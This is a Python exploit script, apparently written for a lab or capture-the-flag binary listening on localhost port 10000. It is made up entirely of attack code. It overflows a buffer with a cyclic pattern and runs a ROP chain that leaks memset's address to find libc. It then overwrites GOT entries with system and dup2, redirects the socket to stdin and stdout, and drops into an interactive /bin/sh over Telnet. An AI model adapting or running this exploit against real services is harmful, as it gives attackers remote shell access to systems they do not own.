#!/usr/bin/python
import struct
import socket
import re
from telnetlib import Telnet

padding = 'Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae8Ae9Af'


read_plt = 0x4010c0 #read@plt
write_plt = 0x401060 #write@plt
memset_plt = 0x4010a0 #memset@plt
memset_got = 0x404050
getenv_plt = 0x401030
getenv_got = 0x404018

pop_rdx = 0x401832
pop_rsi = 0x4018a1
pop_rdi = 0x4018a3
writable = 0x404ff0
filler = 0xdeadbeef

memset_offset = 0x15b290
system_offset = 0x0435d0
dup2_offset = 0x0e9af0


def constructPayload(socket_id) :
	# leak address of memset()
	payload = 	    struct.pack('<Q', pop_rdi)		# pop rdi
	payload = payload + struct.pack('<Q', socket_id)	# fd
	payload = payload + struct.pack('<Q', pop_rsi)		# pop rsi
	payload = payload + struct.pack('<Q', memset_got)	# address to leak
	payload = payload + struct.pack('<Q', filler)
	payload = payload + struct.pack('<Q', pop_rdx)		# pop rdx
	payload = payload + struct.pack('<Q', 0x8)		# length (8 bytes)
	payload = payload + struct.pack('<Q', write_plt)	# return to write

	# overwrite memset's GOT entry with system() addr
	payload = payload + struct.pack('<Q', pop_rdi) 		# pop rdi
	payload = payload + struct.pack('<Q', socket_id) 	# fd
	payload = payload + struct.pack('<Q', pop_rsi)		# pop rsi
	payload = payload + struct.pack('<Q', memset_got) 	# address to overwrite
	payload = payload + struct.pack('<Q', filler)
	payload = payload + struct.pack('<Q', pop_rdx)		# pop rdx
	payload = payload + struct.pack('<Q', 0x8) 		# 8 bytes
	payload = payload + struct.pack('<Q', read_plt) 	# call read()
	
	# overwrite getenv's GOT entry with dup2() addr
	payload = payload + struct.pack('<Q', pop_rdi) 		# pop rdi
	payload = payload + struct.pack('<Q', socket_id) 	# fd
	payload = payload + struct.pack('<Q', pop_rsi)		# pop rsi
	payload = payload + struct.pack('<Q', getenv_got) 	# address to overwrite
	payload = payload + struct.pack('<Q', filler)
	payload = payload + struct.pack('<Q', pop_rdx)		# pop rdx
	payload = payload + struct.pack('<Q', 0x8) 		# 8 bytes
	payload = payload + struct.pack('<Q', read_plt) 	# call read()
	
	# write /bin/sh into the writable section
	payload = payload + struct.pack('<Q', pop_rdi) 		# pop rdi
	payload = payload + struct.pack('<Q', socket_id) 	# fd
	payload = payload + struct.pack('<Q', pop_rsi)		# pop rsi
	payload = payload + struct.pack('<Q', writable) 	# address to overwrite
	payload = payload + struct.pack('<Q', filler)
	payload = payload + struct.pack('<Q', pop_rdx)		# pop rdx
	payload = payload + struct.pack('<Q', 0x8) 		# 8 bytes
	payload = payload + struct.pack('<Q', read_plt) 	# call read()
	
	# call dup2(0,4)
	payload = payload + struct.pack('<Q', pop_rdi)		# pop rdi; ret
	payload = payload + struct.pack('<Q', socket_id)	# old FD
	payload = payload + struct.pack('<Q', pop_rsi)		# pop rsi
	payload = payload + struct.pack('<Q', 0x0)		# stdin (new FD)
	payload = payload + struct.pack('<Q', filler)		# 
	payload = payload + struct.pack('<Q', getenv_plt)	# call dup2()
	
	# call dup2(1,4)
	payload = payload + struct.pack('<Q', pop_rdi)		# pop rdi; ret
	payload = payload + struct.pack('<Q', socket_id)	# old FD
	payload = payload + struct.pack('<Q', pop_rsi)		# pop rsi
	payload = payload + struct.pack('<Q', 0x1)		# stdout (new FD)
	payload = payload + struct.pack('<Q', filler)		# 
	payload = payload + struct.pack('<Q', getenv_plt)	# call dup2()
	
	# call system() passing '/bin/sh' as argument
	payload = payload + struct.pack('<Q', pop_rdi) 		# pop rdi gadget
	payload = payload + struct.pack('<Q', writable) 	# "/bin/sh"
	payload = payload + struct.pack('<Q', memset_plt) 	# call system()
	return payload

	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1",10000))

prolog = s.recv(1024) # connection ID, how long is your message?
tokens = re.split('[^0-9]+', prolog) # extract the connection ID
print(tokens[1])
print(prolog)
s.send('4294967295\n')

enterMsg = s.recv(1024) # enter your message
print(enterMsg)
s.send(padding + constructPayload(int(tokens[1])) + '\n')

leakedAddr = s.recv(1024) # memset address

memset_addr = struct.unpack('<Q', leakedAddr[-8:])
print('memset absolute address: ' + hex(memset_addr[0]))
libc_base = memset_addr[0] - memset_offset
print("libc_base: " + hex(libc_base))
system_addr = libc_base + system_offset
print("system addr: " + hex(system_addr))
dup2_addr = libc_base + dup2_offset
print("dup2 addr: " + hex(dup2_addr))

# send system() address
s.send(struct.pack('<Q', system_addr))

# send dup2() address
s.send(struct.pack('<Q', dup2_addr))

# send "/bin/sh"
s.send("/bin/sh" + '\x00')



#print(leakedAddr)
#f = open("leakedaddr", "w")
#f.write(leakedAddr)

t = Telnet()
t.sock = s
t.interact()
s.close()

